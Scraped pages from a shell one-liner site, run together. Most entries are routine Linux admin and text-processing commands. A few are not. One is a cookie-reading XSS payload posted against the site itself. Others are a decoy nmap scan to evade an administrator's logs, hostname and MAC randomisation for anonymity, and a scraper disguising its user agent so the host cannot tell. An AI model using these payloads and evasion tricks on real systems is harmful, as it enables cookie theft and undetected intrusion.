~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u Functions: grep sort tr List your installed Firefox extensions arr[i*100+j]="whatever" rany:~$ # READ DESCRIPTION FIRST. rany:~$ set() { i="$1";j="$2";val="$3";arr[$((i*100+j))]="$val"; } rany:~$ set 0 0 "hello" rany:~$ set 0 1 "world" rany:~$ set 0 99 "how" rany:~$ set 1 0 "are" rany:~$ set 1 99 "you?" rany:~$ echo "${arr[0]} ${arr[1]} ${arr[99]} ${arr[100]} ${arr[199]}" hello world how are you? rany:~$ get() { i="$1";j="$2"; echo "${arr[$((i*100+j))]}"; } rany:~$ get 0 99 how rany:~$ get 1 0 are rany:~$ get 1 99 you? rany:~$ Tricky implementation of two-dimensional array in Bash. Since Bash doesn't support two-dimensional arrays, you can limit your columns length by some big enough constant value ( in this example 100 ) and then index the array with i and j, or maybe write your own get() and set() methods to index the array properly like I implemented for example ( see Sample output ). For example for i=0 and j=0...99 you'll pick up one of 100 elements in the range [0,99] in the one-dimensional array. For i=1 and j=0...99 you'll pick up one of 100 elements in the range [100,199]. And so on. Be careful when using this, and remember that in fact you are always using one-dimensional array. var=:foobar:; echo ${var:1:-1} Remove the first and the latest caracter of a string (sed 's/^/x+=/' [yourfile] ; echo x) | bc Quick way to sum every numbers in a file written line by line If you have a file full of numbers written line by line, you can sum every line to get the total. With a file like this: you will got: sed -i 's/^.*DEBUG.*/#&/' $file put all lines in comment where de word DEBUG is found say() { mplayer "http://translate.google.com/translate_tts?q=$1"; } Gets the english pronunciation of a phrase Usage examples: say hello say "hello world" say hello+world cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n 2 67.11.200.144 Functions: awk cat grep sed sort sshd uniq Find brute force attempts on SSHd Searches the /var/log/secure log file for Failed and/or invalid user log in attempts. sed -n '/^function h\(\)/,/^}/p' script.sh $ sed -n '/^function h\(\)/,/^}/p' .bash_profile function h() { if [ -z "$1" ] then else fi } Extract a bash function I often need to extract a function from a bash script and this command will do it. mail -s "subject" user@todomain.com <emailbody.txt -- -f customfrom@fromdomain.com -F 'From Display Name' Functions: mail Change the From: address on the fly for email sent from the command-line It's very common to have cron jobs that send emails as their output, but the From: address is whatever account the cron job is running under, which is often not the address you want replies to go to. Here's a way to change the From: address right on the command line. What's happening here is that the "--" separates the options to the mail client from options for the sendmail backend. So the -f and -F get passed through to sendmail and interpreted there. This works on even on a system where postfix is the active mailer - looks like postfix supports the same options. I think it's possible to customize the From: address using mutt as a command line mailer also, but most servers don't have mutt preinstalled. ‹ First < 36 37 38 39 40 > Last › mplayer -dumpstream -dumpfile "yourfile" -playlist "URL" Use mplayer to save video streams to a file I use this command to save RTSP video streams over night from one of our national TV stations, so I won't have to squeeze the data through my slow internet connection when I want to watch it the next day. For ease of use, you might want to put this in a file: FILE="`basename \"$1\"`" mplayer -dumpstream -dumpfile "$FILE" -playlist "$1" pidof -x -o $$ ${0##*/} && exit Functions: pidof 7 exit if another instance is running dig -t txt -c chaos VERSION.BIND @<dns.server.com> ; <<>> DiG 9.5.1-P2 <<>> -t txt -c chaos VERSION.BIND @192.168.1.1 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58109 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;VERSION.BIND. CH TXT ;; ANSWER SECTION: VERSION.BIND. 0 CH TXT "9.4.2-P2" ;; AUTHORITY SECTION: VERSION.BIND. 0 CH NS VERSION.BIND. ;; Query time: 27 msec ;; SERVER: 192.168.1.1#53(192.168.1.1) ;; WHEN: Thu Jul 30 13:36:14 2009 ;; MSG SIZE rcvd: 65 sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null Functions: cut du ls sort sudo xargs Get the size of all the directories in current directory (Sorted Human Readable) This allows the output to be sorted from largest to smallest in human readable format. echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc permanently let grep colorize its output This will create a permanent alias to colorize the search pattern in your grep output myinfo() { info --subnodes -o - $1 | less; } Functions: info shell function to make gnu info act like man. For those who hate navigating info pages, a shell function which will dump the contents to stdout, then page it through less, thus acting like 'man'. cp -i FILENAME{,.`date +%Y%m%d`} # cp -i test.txt{,.`date +%Y%m%d`} `test.txt' -> `test.txt.20110119' backs up at the date today cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32 Functions: cat head tr pacman -Q|wc -l Functions: wc how many packages installed on your archlinux? rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/ Create a mirror of a local folder, on a remote server Create a exact mirror of the local folder "/root/files", on remote server 'remote_server' using SSH command (listening on port 22) (all files & folders on destination server/folder will be deleted) nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254 The NMAP command you can use scan for the Conficker virus on your LAN This was posted on reddit. replace 192.168.0.1-256 with the IP's you want to check. lftp -ulogin,passwd -e "mirror --reverse /my/from/dir/ /ftp/target/dir/" ftp.server.xx mirrors directory to a ftp server http://lftp.yar.ru/ wget -qO- icanhazip.com Get your external IP address without curl Curl is not installed by default on many common distros anymore. wget always is :) wget -qO- ifconfig.me/ip wodim cdimage.iso burn an ISO image to writable CD openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25 $ openssl s_client -starttls smtp -crlf -connect smtp1.google.com:25 CONNECTED(00000003) depth=1 /C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com verify error:num=19:self signed certificate in certificate chain verify return:0 Certificate chain <...> 220 smtp.google.com ESMTP Connect to SMTP server using STARTTLS Allows you to connect to an SMTP server over TLS, which is useful for debugging SMTP sessions. (Much like telnet to 25/tcp). Once connected you can manually issue SMTP commands in the clear (e.g. EHLO) fc [history-number] Functions: fc Edit the last or previous command line in an editor then execute If you would like to edit a previous command, which might be long and complicated, you can use the fc (I think it stands for fix command). Invoke fc alone will edit the last command using the default editor (specified by $FCEDIT, $EDITOR, or emacs, in that order). After you make the changes in the editor, save and exit to execute that command. The fc command is more flexible than what I have described. Please 'man bash' for more information. free -mto Functions: free Check RAM size getent [group|hosts|networks|passwd|protocols|services] [keyword] $ getent passwd root root:x:0:0:root:/root:/bin/bash $ getent services smtp $ getent protocols l2tp Get contents from hosts, passwd, groups even if they're in DB/LDAP/other getent allows to get the contents of several databases in their native file format even if they are not actually in /etc. For example, if you are using a LDAP or a DB to authenticate your users, you won't find their info by catting /etc/passwd, but "getent passwd" will concatenate /etc/passwd to the LDAP/DB. mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name" Convert mysql database from latin1 to utf8 MySQL: CHARSET from latin1 to utf8 sudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt Functions: mount sudo Mount a Windows share on the local network (Ubuntu) with user rights and use a specific samba user netstat -tn | awk 'NR>2 {print $6}' | sort | uniq -c | sort -rn 1618 ESTABLISHED 4 LAST_ACK 2 SYN_RECV 1 TIME_WAIT 1 CLOSE_WAIT Functions: awk netstat sort uniq Quick network status of machine credit to tumblr engineering blog @ http://engineering.tumblr.com/ taskset 0x00000001 yes > /dev/null & Functions: taskset yes cpu stress test For each cpu set mask and then monitor your cpu infos. Temp,load avg. etc. For example for 2nd cpu or 2nd core taskset 0x00000002 yes > /dev/null & For example for 3rd cpu or 3rd core taskset 0x00000004 yes > /dev/null & For example for 4th cpu or 4th core taskset 0x00000008 yes > /dev/null & Monitor your cpu temp with this command if you want watch -n1 "acpi -t" Load avg. from top command kerim@bayner.com http://www.bayner.com/ iperf -s $ iperf -c 192.168.0.10 ------------------------------------------------------------ Client connecting to 192.168.0.10, TCP port 5001 TCP window size: 16.0 KByte (default) [ 3] local 192.168.0.11 port 47935 connected with 192.168.0.10 port 5001 [ ID] Interval Transfer Bandwidth network throughput test On the machine acting like a server, run: On the machine acting like a client, run: iperf -c ip.add.re.ss where ip.add.re.ss is the ip or hostname of the server. du -cs * .[^\.]* | sort -n Shows size of dirs and files, hidden or not, sorted. Very useful when you need disk space. It calculates the disk usage of all files and dirs (descending them) located at the current directory (including hidden ones). Then sort puts them in order. find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \; export dest_root=/var/tmp/b cd /var/tmp/a ls -R a a: aa a/aa: bb a/aa/bb: cc dd ee a/aa/bb/cc: a/aa/bb/dd: gaga a/aa/bb/ee: cd a find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \; ls -R b b: b/aa: b/aa/bb: b/aa/bb/cc: b/aa/bb/dd: b/aa/bb/ee: Functions: env exec find mkdir sh Copy a directory recursively without data/files ‹ First < 37 38 39 40 41 > Last › GREP_OPTIONS='-D skip --binary-files=without-match --ignore-case' Most Commonly Used Grep Options This is very helpful to place in a shell startup file and will make grep use those options all the time. This example is nice as it won't show those warning messages, skips devices like fifos and pipes, and ignores case by default. wc -L sync; echo 3 | sudo tee /proc/sys/vm/drop_caches Functions: echo sudo sync tee clean up memory on linux where proc filesystem mounted under /proc for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10 67 MB used by /var/log 42 MB used by /var/log/gdm 9 MB used by /var/log/ConsoleKit 2 MB used by /var/log/munin 1 MB used by /var/log/kismet 1 MB used by /var/log/dist-upgrade 0 MB used by /var/log/apache2 0 MB used by /var/log/installer 0 MB used by /var/log/vmware 0 MB used by /var/log/cups du disk top 10 fancy command line ncdu clone perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g' Attempt an XSS exploit on commandlinefu.com Mouse around the title of this item, and note that your cookies are being logged to the console. If I were evil, I could instead send everyone's cookies to my site, and then post up-votes on all my submissions using their cookies, and try to delete every other submission, until clfu was completely pwned by me, redirecting people to malware and porn sites, and so on. find . -regex '.*\(h\|cpp\)' Finding files with different extensions This is the way how you can find header and cpp files in the same time. die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;} Shell function to exit script with error in exit status and print optional message to stderr USAGE: die ERRNUM [MESSAGE] bsdiff <oldfile> <newfile> <patchfile> Binary difference of two files To remake the new file use bspatch <oldfile> <newfile> <patchfile> find /path -type l List all symbolic links in current directory why go through the hard way? use find with -type l curl http://example.com/a.gz | tar xz dstat -ta dstat -ta -----time----- ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- date/time |usr sys idl wai hiq siq| read writ| recv send| in out | int csw dstat - a mix of vmstat, iostat, netstat, ps, sar... This is a very powerful command line tool to gather statistics for a Linux system. http://dag.wieers.com/home-made/dstat/ cat file | tr "\n" " " Functions: cat file tr Join lines It's works only when you replace '\n' to ONE character. sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head Functions: sed sort uniq top 10 commands used ls -I "*.gz" sox Klaxon.mp3 -t wav - |ssh thelab@company.com paplay Stream audio over ssh This will allow you to convert an audio file to wav format, and send it via ssh to a player on the other computer, which will open and play it there. Of course, substitute your information for the sound file and remote address You do not have to use paplay on the remote end, as it is a PulseAudio thing. If the remote end uses ALSA, you should use aplay instead. If it uses OSS, you should berate them about having a lousy sound system. Also, you're not limited to transmitting encoded as wav either, it's just that AFAIK, most systems don't come with mp3 codecs, but will play wav files fine. If you know SoX is installed on the remote end and has mp3 codecs, you can use the following instead: cat Klaxon.mp3 |ssh thelab@company.com play -t mp3 - this will transmit as mp3. Again, use your specific information. if you're not playing mp3s, use another type with the -t option df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create # df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create Filesystem created: Fri Oct 24 03:46:36 2008 Functions: awk df grep tune2fs xargs Check the age of the filesystem Very useful set of commands to know when your file system was created. dd if=/path/inputfile | pv | dd of=/path/outpufile Start dd and show progress every X seconds zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less 3478 invalid Functions: awk sort uniq zgrep Check for login failures and summarize This command checks for the number of times when someone has tried to login to your server and failed. If there are a lot, then that user is being targeted on your system and you might want to make sure that user either has remote logins disabled, or has a strong password, or both. If your output has an "invalid" line, it is a summary of all logins from users that don't exist on your system. echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger Force machine to reboot no matter what (even if /sbin/shutdown is hanging) This will cause your machine to INSTANTLY reboot. No un-mounting of drives or anything. Very handy when something has gone horribly wrong with your server in that co-location facility miles away with no remote hands! Suspect this works with all 2.2, 2.4 and 2.6 Linux kernels compiled with magic-syskey-request support. for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more Functions: grep ls whatis command | sed -n '1,/regex/p' Functions: command sed If BREs can be used, this sed version will also get the job done. cat /etc/*release Works on nearly all linux distros curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml Enter host password for user 'matthewbauer': xset b off Mute xterm convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage {$file_out} Functions: merge Add a shadow to picture Please take notice that if you are going to use an JPG file for shadow effect, let change -background none to -background white! Because -background none make a transparent effect while JPG doesn't support transparent! And when viewing, you will get a bacl box! So we will use an white background under! We can use other color as well! ‹ First < 38 39 40 41 42 > Last › wget -qO - http://www.commandlinefu.com/commands/random/plaintext | sed -n '1d; /./p' Retrieve a random command from the commandlinefu.com API Seeing that we get back plain text anyway we don't need lynx. Also the sed-part removes the credit line. cat > <file_name> << "EOF" Quickly create simple text file from command line w/o using vi/emacs 1. Issue command 2. After angled bracket appears, enter file contents 3. When done, type "EOF" echo "hello world" | festival --tts Put up your speaker volume to hear the message. Synthesize text as speech The Festival Speech Synthesis System converts text into sound. Or: links -dump http://youfavoritewebsite.com | festival --tts echo <ctrl-v><esc>c<enter> This works in some situations where 'reset' and the other alternatives don't. echo "export LESS='FiX'" >> ~/.bashrc man bash 'q'uit out of man page content will stay on screen stop man page content from disappearing on exit man bash 'q'uit out of man page content will stay on screen yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid [zim@host ~]$ ./printlines.pl Output line 1 Output line 2 Output line 3 Output line 4 [zim@host ~]$ yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p 22503 GNU gdb Fedora (6.8-23.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-redhat-linux-gnu". Attaching to process 22503 Reading symbols from /usr/bin/perl...(no debugging symbols found)...done. Reading symbols from /usr/lib64/perl5/5.10.0/x86_64-linux-thread-multi/CORE/libperl.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib64/perl5/5.10.0/x86_64-linux-thread-multi/CORE/libperl.so Reading symbols from /lib64/libresolv.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/libresolv.so.2 Reading symbols from /lib64/libnsl.so.1...(no debugging symbols found)...done. Loaded symbols for /lib64/libnsl.so.1 Reading symbols from /lib64/libdl.so.2... (no debugging symbols found)...done. Loaded symbols for /lib64/libdl.so.2 Reading symbols from /lib64/libm.so.6...(no debugging symbols found)...done. Loaded symbols for /lib64/libm.so.6 Reading symbols from /lib64/libcrypt.so.1...(no debugging symbols found)...done. Loaded symbols for /lib64/libcrypt.so.1 Reading symbols from /lib64/libutil.so.1...(no debugging symbols found)...done. Loaded symbols for /lib64/libutil.so.1 Reading symbols from /lib64/libpthread.so.0... [Thread debugging using libthread_db enabled] [New Thread 0x7ff25bd046f0 (LWP 22503)] Loaded symbols for /lib64/libpthread.so.0 Reading symbols from /lib64/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib64/libc.so.6 Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/ld-linux-x86-64.so.2 (no debugging symbols found) 0x00000039f1ca6390 in __nanosleep_nocancel () from /lib64/libc.so.6 $1 = 0 $2 = 1 The program is running. Quit anyway (and detach it)? (y or n) [answered Y; input not from terminal] Detaching from program: /usr/bin/perl, process 22503 [zim@host ~]$ cat /tmp/output.txt Output line 5 Output line 6 Output line 7 Output line 8 Output line 9 Output line 10 Functions: yes Redirect a filehandle from a currently running process. This command uses the debugger to attach to a running process, and reassign a filehandle to a file. The two commands executed in gdb are p close(1) which closes STDOUT and p creat("/tmp/filename",0600) which creates a file and opens it for output. Since file handles are assigned sequentially, this command opens the file in place of STDOUT and once the process continues, new output to STDOUT will instead be written to our capture file. killall -USR1 dd $ LC_ALL=C dd if=/dev/zero of=/dev/null bs=1M count=32768 1944+0 records in 1943+0 records out 2037383168 bytes (2.0 GB) copied, 10.7577 s, 189 MB/s 5390+0 records in 5389+0 records out 5650776064 bytes (5.7 GB) copied, 29.1551 s, 194 MB/s show dd progress if you need see progress of long dd command, enter subj on other console for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40 There's no need to use timeout which causes screen flicker since it restarts dialog for each update. colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2 Use colordiff in side-by-side mode, and with automatic column widths. Barely worth posting because it is so simple, but I use it literally all the time. I was always frustrated by the limitations that a non-gui environment imposes on diff'ing files. This fixes some of those limitations by colourising the output (you'll have to install colordiff, but it is just a wrapper for diff itself), using side-by-side mode for clearer presentation, and of course, the -W parameter, using tput to automatically insert you terminal width. Note that the double quotes aren't necessary if typed into terminal as-is. I included them for safety sake, echo $RANDOM works at least in bash. returns integer in range 0-32767. range is not as good, but for lots of cases it's good enough. fuser -nu tcp 3691 $ fuser -nu tcp 3691 mussh -h host1 host2 host3 -c uptime run command on a group of nodes sed "s:/old/direcory/:/new/directory/:" <file> $ cat dir_name.txt /home/johnson/music $ sed "s:/home/johnson/:/net/backup/:" dir_name.txt /net/backup/music sed : using colons as separators instead of forward slashes Having to escape forwardslashes when using sed can be a pain. However, it's possible to instead of using / as the separator to use : . I found this by trying to substitute $PWD into my pattern, like so sed "s/~.*/$PWD/" file.txt Of course, $PWD will expand to a character string that begins with a / , which will make sed spit out an error such as "sed: -e expression #1, char 8: unknown option to `s'". So simply changing it to sed "s:~.*:$PWD:" file.txt did the trick. seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}' Functions: awk sed seq print multiplication formulas seq -s ' ' 1 9 | sed -n ':a;p;s/ *\w$//;h;/^$/t;b a;q' | tac | awk '{for(i=1;i 1x1=1 1x2=2 2x2=4 1x3=3 2x3=6 3x3=9 1x4=4 2x4=8 3x4=12 4x4=16 1x5=5 2x5=10 3x5=15 4x5=20 5x5=25 1x6=6 2x6=12 3x6=18 4x6=24 5x6=30 6x6=36 1x7=7 2x7=14 3x7=21 4x7=28 5x7=35 6x7=42 7x7=49 1x8=8 2x8=16 3x8=24 4x8=32 5x8=40 6x8=48 7x8=56 8x8=64 1x9=9 2x9=18 3x9=27 4x9=36 5x9=45 6x9=54 7x9=63 8x9=72 9x9=81 dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient Functions: hostname rm sed randomize hostname and mac address, force dhcp renew. (for anonymous networking) this string of commands will release your dhcp address, change your mac address, generate a new random hostname and then get a new dhcp lease. grep -r --exclude-dir=.svn PATTERN PATH Exclude svn directories with grep exclude-dir option requires grep 2.5.3 <ESC> v Allows you to edit your command using your chosen editor. Works in bash with "set -o vi". echo Print text vertically|sed 's/\(.\)/\1\n/g' P n y trap cmd 0 Functions: trap Execute a command on logout Execute a command on shell logout,and run it until is finished,then shell is closed. wget randomfunfacts.com -O - 2>/dev/null|grep \<strong\>|sed "s;^.*<i>\(.*\)</i>.*$;\1;"|cowsay -f tux Lets Tux say the random fact. [add it to .bashrc to see it in new terminal window] ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }' Functions: awk ps tail cpu and memory usage top 10 under Linux The original version gives an error, here is the correct output count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done Functions: echo read true Simple addicting bash game. Really bored during class so I made this... Basically, you hold period (or whatever) and hit enter after a second and you need to make the next line of periods the same length as the previous line... My record was 5 lines of the same length. It's best if you do it one handed with your pointer on period and ring on enter. /usr/bin/zsh know the current running shell (the true) Return the current shell. It is better than print $SHELL which can sometimes return a false value. pv file | gzip > file.gz Functions: file gzip gzip compression with progress bar and remaining time displayed lsof -i :80 which process has a port open ‹ First < 39 40 41 42 43 > Last › trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG Changing the terminal title to the last shell command You can set the previous bash command as the terminal title by this command. Explanation: -trap assigns a command to execute at a given bash signal. -in the $BASH_COMMAND you find the last command -you can set the terminal title with the escape sequence: \e]0;this is the title\007 -to let the echo care about the backslashes give the -e to it Since trap is a built in bash command you find more informatin in 'man bash'for more Source: http://www.davidpashley.com/articles/xterm-titles-with-bash.html sudo nmap -sS 192.168.0.10 -D 192.168.0.2 Use a decoy while scanning ports to avoid getting caught by the sys admin :9 Scan for open ports on the target device/computer (192.168.0.10) while setting up a decoy address (192.168.0.2). This will show the decoy ip address instead of your ip in targets security logs. Decoy address needs to be alive. Check the targets security log at /var/log/secure to make sure it worked. alt + . quick input Insert the last argument to the previous command cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25 348, 192.22.16.56 358, 192.240.8.178 360, 192.107.248.220 394, 192.206.78.2 424, 192.242.141.25 426, 192.175.45.153 440, 192.51.107.202 493, 192.215.222.135 500, 192.20.53.245 688, 192.164.143.36 732, 192.139.1.20 Functions: awk cat ls sort tail Quickly analyze apache logs for top 25 most common IP addresses. This command is much quicker than the alternative of "sort | uniq -c | sort -n". sudo strace -pXXXX -e trace=file Functions: strace sudo find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done KK1.C KK2.C KK3.C KK4.C $ find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done kk1.c kk2.c kk3.c kk4.c Functions: find mv read recursively change file name from uppercase to lowercase (or viceversa) or, to process a single directory: for f in *; do mv $f `echo $f |tr '[:upper:]' '[:lower:]'`; done echo '{"json":"obj"}' | python -m simplejson.tool { "json": "obj" Functions: echo python Validate and pretty-print JSON expressions. You can use a site like http://www.jsonlint.com/ or use the command line to validate your long and complex json data. This is part of the simplejson package for python http://undefined.org/python/#simplejson. Wrong json expression example: echo '{ 1.2:3.4}' | python -m simplejson.tool Expecting property name: line 1 column 2 (char 2) parallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz Recompress all .gz files in current directory using bzip2 running 1 job per CPU core in parallel exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg command to change the exif date time of a image export PS1="[\u@`hostname -I` \W]$ " [pablo@192.168.1.85 ~]$ Show IP Address in prompt --> PS1 var when working with many machines in a computer lab need to know the IP addr is very large, this is a simplistic solution to make things easier rm -- --myfile Removes file with a dash in the beginning of the name mplayer dvd:// -softvol -softvol-max 500 Increase mplayer maximum volume use '0' and '9' to increase/decrease volume. this is useful on laptops with low speaker volume. ab -n 9000 -c 900 localhost:8080/index.php Completed 900 requests Completed 1800 requests Completed 2700 requests Completed 3600 requests Completed 4500 requests Completed 5400 requests Completed 6300 requests Completed 7200 requests Completed 8100 requests Finished 9000 requests Server Software: Apache/2.0.55 Server Hostname: localhost Document Path: /index.php (Connect: 0, Length: 25, Exceptions: 0) Write errors: 0 Connection Times (ms) Percentage of the requests served within a certain time (ms) benchmark web server with apache benchmarking tool -n 9000 : Number of requests to perform for the benchmarking session -c 900 : Number of multiple requests to perform at a time bind -x '"\C-p"':pwd create shortcut keys in bash echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log 08/25/0902:54:32 => 51 C Functions: awk cat echo log your PC's motherboard and CPU temperature along with the current date Uses the data in the /proc system, provided by the acpid, to find out the CPU temperature. Can be run on systems without lm-sensors installed as well. date|osd_cat On screen display of a command. This is very useful if you need to show someone some text from a distance. (Like someone standing over your shoulder...) I'd recommend aliasing it to something like: alias osd_cat="osd_cat -o 400 -s 8 -c blue -d 60 -f -*-bitstream\ vera\ sans-*-*-*--200-*-*-*-*-*-*-*" xosd is the utility that provides osd_cat. echo 1234567890 | awk '{ print strftime("%c", $0); }' $ echo 1234567890 | awk '{ print strftime("%c", $0); }' Sat 14 Feb 2009 12:31:30 AM CET Functions: awk echo convert unixtime to human-readable with awk - convert unixtime to human-readable with awk - useful to read logfiles with unix-timestamps, f.e. squid-log: sudo tail -f /var/log/squid3/access.log | awk '{ print strftime("%c ", $1) $0; } ssh -CNL 3306:localhost:3306 user@site.com Create an SSH tunnel for accessing your remote MySQL database with a local port history -w <switch to another terminal> history -r Copy history from one terminal to another Or just do history -w before opening another terminal. curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html Submit data to a HTML form with POST method and save the response Assume that you have a form , in the source look for something similar to : input name="rid" type="TEXT" input name="submit" value="SUBMIT" type="SUBMIT" align="center" Then exec the command to get the response into html More info : www.h3manth.com vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}' 2009-07-17 15:36:17 procs -----------memory---------- ---swap-- -----io---- --system-- ----cpu---- 2009-07-17 15:36:17 r b swpd free buff cache si so bi bo in cs us sy id wa Functions: awk vmstat vmstat/iostat with timestamp Also useful with iostat, or pretty much anything else you want timestamped. rename 's/ /_/g' * It's the rename-tool from debians perl-package. cp -n <src> <dst> Copy without overwriting paste -d ',:' file1 file2 file3 num,name:scores 1,Jack:1300 2,Tim:1100 3,Frank:980 Functions: paste Merges given files line by line In the above example all files have 4 lines. In "file1" consecutive lines are: "num, 1, 2, 3", in "file2": "name, Jack, Jim, Frank" and in "file3": "scores, 1300, 1100, 980". This one liner can save considerate ammount of time when you're trying to process serious portions of data. "-d" option allows one to set series of characters to be used as separators between data originating from given files. wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL Mask the user agent as firefox, recursively download 2 levels deep from a span host with a maximum of 1 redirection, use random wait time and dump all pdf files to myBooksFolder without creating any other directories. Host will have no way of knowing that this is a grabber script. ‹ First < 40 41 42 43 44 > Last › blkid /dev/sda7 /dev/sda7: LABEL="fedora" UUID="ab6f0ee7-ebdd-484a-ae1a-c4053a426e0f" TYPE="ext4" Show the UUID of a filesystem or partition Shows the UUID of the given partition (here /dev/sda7). Doesn't need to be root. read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2 split a string (2) qrurl() { curl "http://chart.apis.google.com/chart?chs=150x150&cht=qr&chld=H%7C0&chl=$1" -o qr.$(date +%Y%m%d%H%M%S).png; } Create QR codes from a URL. QR codes are those funny square 2d bar codes that everyone seems to be pointing their smart phones at. Try the following... qrurl http://xkcd.com Then open qr.*.png in your favorite image viewer. Point your the bar code reader on your smart phone at the code, and you'll shortly be reading xkcd on your phone. URLs are not the only thing that can be encoded by QR codes... short texts (to around 2K) can be encoded this way, although this function doesn't do any URL encoding, so unless you want to do that by hand it won't be useful for that. export PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]' Bash prompt with user name, host, history number, current dir and just a touch of color I put that line in my .bash_profile (OS X) and .bashrc (Linux). Here is a summary of what the \char means: n=new line, u=user name, h=host, !=history number, w=current work directory The \[\e[32m\] sequence set the text to bright green and \[\e[0m\] returns to normal color. For more information on what you can set in your bash prompt, google 'bash prompt' awk 'NR==4' strings ~/.mozilla/firefox/*/webappsstore.sqlite|grep -Eo "^.+\.:" |rev :.addons.mozilla.org :.mapper.acme.com Functions: grep strings see who's using DOM storage a/k/a Web Storage, super cookies Someone over at Mozilla dot Org probably said, "I know, let's create a super-duper universal replacement for browser cookies that are persistent and even more creepy and then NOT give our browser users the tools they need to monitor, read, block or selectively remove them!" This will let you see all the DOM object users in all your firefox profiles. Feel free to toss a `| sort -u` on the end to remove dupes. I highly recommend you treat these as "session cookies" by scripting something that deletes this sqlite database during each firefox start-up. note: does not do anything for so-called "flash cookies" netstat -an | grep ESTABLISHED | awk '\''{print $5}'\'' | awk -F: '\''{print $1}'\'' | sort | uniq -c | awk '\''{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print 